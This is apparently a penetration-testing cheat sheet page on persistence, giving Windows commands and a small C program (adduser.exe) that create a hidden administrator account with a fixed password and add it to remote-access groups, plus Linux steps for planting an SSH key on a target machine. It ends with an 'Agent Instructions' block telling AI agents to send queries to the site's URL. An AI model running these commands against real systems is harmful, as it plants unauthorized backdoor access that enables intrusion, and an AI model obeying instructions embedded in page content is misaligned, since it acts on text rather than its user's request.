# Persistence

## Windows&#x20;

### New User

{% code overflow="wrap" %}

```powershell
net user testuser Password123! /add [/domain]
net localgroup "Administrators" testuser /add
net localgroup "Remote Desktop Users" testuser /add
net localgroup "Remote Management Users" testuser /add
```

{% endcode %}

{% code overflow="wrap" %}

```powershell
net user testuser Password123! /add
Add-LocalGroupMember -Group "Administrators","Remote Desktop Users","Remote Management Users" -Member "testuser"
```

{% endcode %}

exe

{% code title="adduser.exe" overflow="wrap" %}

```c
#include <stdlib.h>

int main ()
{
  int i;
  
  i = system ("net user testuser Password123! /add");
  i = system ("net localgroup Administrators testuser /add");
  i = system ("net localgroup \"Remote Desktop Users\" testuser /add");
  i = system ("net localgroup \"Remote Management Users\" testuser /add");
  
  return 0;
}
```

{% endcode %}

```bash
x86_64-w64-mingw32-gcc adduser.c -o adduser.exe
```

## Linux

### SSH Key

{% code overflow="wrap" %}

```bash
ssh-keygen
# Move the public key  in ~/.ssh/authorized_keys target machine.
```

{% endcode %}

{% code overflow="wrap" %}

```bash
ssh-keygen -f ~/.ssh/id_rsa -N ""
ssh-copy-id -i ~/.ssh/id_rsa.pub <USER>@<IP>
```

{% endcode %}


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://ivalexev.gitbook.io/rednote/pentesting-process/persistence.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
